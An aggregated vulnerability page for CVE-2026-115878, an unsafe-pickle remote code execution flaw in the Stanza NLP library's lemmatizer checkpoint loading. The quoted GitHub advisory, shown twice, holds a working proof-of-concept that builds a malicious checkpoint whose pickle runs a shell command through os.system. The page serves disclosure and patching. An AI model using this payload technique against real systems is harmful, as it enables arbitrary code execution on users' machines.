Every CVE Search/ Get API key

CVE-2026-115878

Stanza: RCE via pickle deserialization in the lemmatizer

7.8 HighFix available

Stanza is a Stanford NLP Python library for tokenization, sentence segmentation, NER, and parsing of many human languages. From 1.14.0 until 1.15.0, loading an attacker-supplied lemmatizer checkpoint can execute arbitrary code because stanza/models/lemma/trainer.py stores pos_dict as gzip-compressed pickle bytes and Trainer.load passes the decompressed stream to unrestricted pickle.loads. The outer torch.load call uses weights_only=True, but the nested bytes are treated as a primitive and are not inspected by that allowlist. The path is reachable during pipeline construction through a caller-influenced lemma_model_path, before inference begins. This issue is fixed in version 1.15.0.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.60%Unchanged since Nov 4, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.8

Stanza: RCE via pickle deserialization in the lemmatizer

Stanza is a Stanford NLP Python library for tokenization, sentence segmentation, NER, and parsing of many human languages. From 1.14.0 until 1.15.0, loading an attacker-supplied lemmatizer checkpoint can execute arbitrary code because stanza/models/lemma/trainer.py stores pos_dict as gzip-compressed pickle bytes and Trainer.load passes the decompressed stream to unrestricted pickle.loads. The outer torch.load call uses weights_only=True, but the nested bytes are treated as a primitive and are not inspected by that allowlist. The path is reachable during pipeline construction through a caller-influenced lemma_model_path, before inference begins. This issue is fixed in version 1.15.0.

Record
CVE-2026-115878
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-94, CWE-502
Updated
2026-11-03
EUVDEUVD-2026-116216 7.8

Stanza is a Stanford NLP Python library for tokenization, sentence segmentation, NER, and parsing of many human languages. From 1.14.0 until 1.15.0, loading an attacker-supplied lemmatizer checkpoint can execute arbitrary code because stanza/models/lemma/trainer.py stores pos_dict as gzip-compressed pickle bytes and Trainer.load passes the decompressed stream to unrestricted pickle.loads. The outer torch.load call uses weights_only=True, but the nested bytes are treated as a primitive and are not inspected by that allowlist. The path is reachable during pipeline construction through a caller-influenced lemma_model_path, before inference begins. This issue is fixed in version 1.15.0.

Record
EUVD-2026-116216
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Updated
2026-11-04
GitHub AdvisoriesGHSA-gh9r-c94j-cmp5 7.8

Stanza: RCE via pickle deserialization in the lemmatizer

TL;DR

Loading an attacker-supplied lemma .pt runs arbitrary code as the loading user. Since 1.14.0 the lemmatizer stores pos_dict as a gzip-compressed pickle in the checkpoint's dicts field (a bytes value). torch.load(weights_only=True) treats bytes as a primitive and passes it through unexamined, so its allowlist never sees the inner stream. Trainer.load then feeds those bytes to an unrestricted pickle.loads: the only bare pickle.loads in the tree. Result: weights_only=True gives no protection here, and model loading executes code.

Confirmed end-to-end against stanza 1.14.0 / PyTorch 2.13.0 / CPython 3.13.7: a crafted checkpoint whose payload __reduce__ returns (os.system, (cmd,)) ran the command at load time (marker file showed uid=501(...), executed_by=...).

A downstream user is vulnerable whenever they build a pipeline that loads a caller-supplied lemmatizer checkpoint. i.e. stanza.Pipeline(lang=..., processors="tokenize,pos,lemma", lemma_model_path="<attacker-influenced .pt>") (or any equivalent load of an untrusted/shared lemma model through a custom registry) - since that call routes straight into Trainer.load -> _unpack_pos_dict and executes the embedded pickle at construction time.

The vulnerable path

stanza/models/lemma/trainer.py:

# _pack_pos_dict (write side): pos_dict -> pickle -> gzip -> bytes, stored under checkpoint['dicts']

def _unpack_pos_dict(data):                 # line 54
    buf = io.BytesIO(data)
    with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
        raw = gz.read()
    return pickle.loads(raw)                # <-- unrestricted default unpickler
def load(self, filename, ...):              # line 365
    checkpoint = torch.load(filename, ..., weights_only=True)   # outer allowlist; bytes pass through intact
    ...
    if dicts_version == _DICTS_VERSION_POS:                     # dicts_version == 2 (current format)
        self.pos_dict = _unpack_pos_dict(checkpoint['dicts'])   # line 378, no validation

Reachable from the documented API. stanza.Pipeline(..., lemma_model_path=<file>) -> LemmaProcessor._set_up_model -> Trainer(model_file=…) -> Trainer.load. Any shared/distributed checkpoint, custom registry, or caller-supplied lemma_model_path reaches it. No checksum is applied to caller-supplied paths (MD5 verification exists only in the default registry download flow). Trigger is at pipeline construction, before any inference input is processed.

Note: this is not the weights_only=False fallback fixed under CVE-2026-54499: the outer load stays safe; the exposure is entirely the inner pickle.

Minimal PoC

import gzip, io, os, pickle, tempfile, torch
from stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS

MARKER = os.path.join(tempfile.gettempdir(), "stanza_lemma_poc_pwned")

class Payload:
    def __reduce__(self):
        return (os.system, ("id > %s 2>&1; echo executed_by=$(whoami) >> %s" % (MARKER, MARKER),))

buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode="wb") as gz:        # same shape as _pack_pos_dict()
    gz.write(pickle.dumps(Payload(), protocol=4))

ckpt = {"dicts": buf.getvalue(), "dicts_version": _DICTS_VERSION_POS}
pt = os.path.join(tempfile.gettempdir(), "evil_lemma.pt")
torch.save(ckpt, pt, _use_new_zipfile_serialization=False)

loaded = torch.load(pt, lambda s, l: s, weights_only=True)   # SUCCEEDS; dicts is bytes, intact
_unpack_pos_dict(loaded["dicts"])                            # == trainer.py:378 -> command runs
print("pwned:", open(MARKER).read().strip())

The PoC calls _unpack_pos_dict directly: the exact expression at trainer.py:378. Reaching it through stanza.Pipeline(...) additionally requires the crafted file to carry a well-formed config/vocab so load runs to line 378 (established by source review); the deserialization to execution step is confirmed at runtime.

Fix

Deserialize the inner stream with…

Record
GHSA-gh9r-c94j-cmp5
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-94, CWE-502
Updated
2026-11-03
NVD 7.8

Stanza is a Stanford NLP Python library for tokenization, sentence segmentation, NER, and parsing of many human languages. From 1.14.0 until 1.15.0, loading an attacker-supplied lemmatizer checkpoint can execute arbitrary code because stanza/models/lemma/trainer.py stores pos_dict as gzip-compressed pickle bytes and Trainer.load passes the decompressed stream to unrestricted pickle.loads. The outer torch.load call uses weights_only=True, but the nested bytes are treated as a primitive and are not inspected by that allowlist. The path is reachable during pipeline construction through a caller-influenced lemma_model_path, before inference begins. This issue is fixed in version 1.15.0.

Record
CVE-2026-115878
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-94, CWE-502
Updated
2026-11-04
OSV 7.8

Stanza: RCE via pickle deserialization in the lemmatizer

Stanza is a Stanford NLP Python library for tokenization, sentence segmentation, NER, and parsing of many human languages. From 1.14.0 until 1.15.0, loading an attacker-supplied lemmatizer checkpoint can execute arbitrary code because stanza/models/lemma/trainer.py stores pos_dict as gzip-compressed pickle bytes and Trainer.load passes the decompressed stream to unrestricted pickle.loads. The outer torch.load call uses weights_only=True, but the nested bytes are treated as a primitive and are not inspected by that allowlist. The path is reachable during pipeline construction through a caller-influenced lemma_model_path, before inference begins. This issue is fixed in version 1.15.0.

Record
CVE-2026-115878
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-502, CWE-94
Updated
2026-11-05
OSVGHSA-gh9r-c94j-cmp5 7.8

Stanza: RCE via pickle deserialization in the lemmatizer

TL;DR

Loading an attacker-supplied lemma .pt runs arbitrary code as the loading user. Since 1.14.0 the lemmatizer stores pos_dict as a gzip-compressed pickle in the checkpoint's dicts field (a bytes value). torch.load(weights_only=True) treats bytes as a primitive and passes it through unexamined, so its allowlist never sees the inner stream. Trainer.load then feeds those bytes to an unrestricted pickle.loads: the only bare pickle.loads in the tree. Result: weights_only=True gives no protection here, and model loading executes code.

Confirmed end-to-end against stanza 1.14.0 / PyTorch 2.13.0 / CPython 3.13.7: a crafted checkpoint whose payload __reduce__ returns (os.system, (cmd,)) ran the command at load time (marker file showed uid=501(...), executed_by=...).

A downstream user is vulnerable whenever they build a pipeline that loads a caller-supplied lemmatizer checkpoint. i.e. stanza.Pipeline(lang=..., processors="tokenize,pos,lemma", lemma_model_path="<attacker-influenced .pt>") (or any equivalent load of an untrusted/shared lemma model through a custom registry) - since that call routes straight into Trainer.load -> _unpack_pos_dict and executes the embedded pickle at construction time.

The vulnerable path

stanza/models/lemma/trainer.py:

# _pack_pos_dict (write side): pos_dict -> pickle -> gzip -> bytes, stored under checkpoint['dicts']

def _unpack_pos_dict(data):                 # line 54
    buf = io.BytesIO(data)
    with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
        raw = gz.read()
    return pickle.loads(raw)                # <-- unrestricted default unpickler
def load(self, filename, ...):              # line 365
    checkpoint = torch.load(filename, ..., weights_only=True)   # outer allowlist; bytes pass through intact
    ...
    if dicts_version == _DICTS_VERSION_POS:                     # dicts_version == 2 (current format)
        self.pos_dict = _unpack_pos_dict(checkpoint['dicts'])   # line 378, no validation

Reachable from the documented API. stanza.Pipeline(..., lemma_model_path=<file>) -> LemmaProcessor._set_up_model -> Trainer(model_file=…) -> Trainer.load. Any shared/distributed checkpoint, custom registry, or caller-supplied lemma_model_path reaches it. No checksum is applied to caller-supplied paths (MD5 verification exists only in the default registry download flow). Trigger is at pipeline construction, before any inference input is processed.

Note: this is not the weights_only=False fallback fixed under CVE-2026-54499: the outer load stays safe; the exposure is entirely the inner pickle.

Minimal PoC

import gzip, io, os, pickle, tempfile, torch
from stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS

MARKER = os.path.join(tempfile.gettempdir(), "stanza_lemma_poc_pwned")

class Payload:
    def __reduce__(self):
        return (os.system, ("id > %s 2>&1; echo executed_by=$(whoami) >> %s" % (MARKER, MARKER),))

buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode="wb") as gz:        # same shape as _pack_pos_dict()
    gz.write(pickle.dumps(Payload(), protocol=4))

ckpt = {"dicts": buf.getvalue(), "dicts_version": _DICTS_VERSION_POS}
pt = os.path.join(tempfile.gettempdir(), "evil_lemma.pt")
torch.save(ckpt, pt, _use_new_zipfile_serialization=False)

loaded = torch.load(pt, lambda s, l: s, weights_only=True)   # SUCCEEDS; dicts is bytes, intact
_unpack_pos_dict(loaded["dicts"])                            # == trainer.py:378 -> command runs
print("pwned:", open(MARKER).read().strip())

The PoC calls _unpack_pos_dict directly: the exact expression at trainer.py:378. Reaching it through stanza.Pipeline(...) additionally requires the crafted file to carry a well-formed config/vocab so load runs to line 378 (established by source review); the deserialization to execution step is confirmed at runtime.

Fix

Deserialize the inner stream with…

Record
GHSA-gh9r-c94j-cmp5
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-502, CWE-94
Updated
2026-11-03

Affected products

Affected packages

Affected packages
PackageAffectedFixed
stanza
PyPI
1.14.0 to 1.14.0
1.15.0
stanza
PyPI
1.14.0 up to 1.15.0
1.15.0

History

History
RecordedChangedSources
referencesCVE List, EUVD, NVD, OSV
description, references, severityCVE List, EUVD
aliases, products, publishedEUVD
affected, referencesOSV
first indexedGitHub Advisories

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-115878 is a high vulnerability (CVSS 7.8) in Stanfordnlp Stanza, published November 3, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.60%, the 48th percentile. Fixed in stanza 1.15.0.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open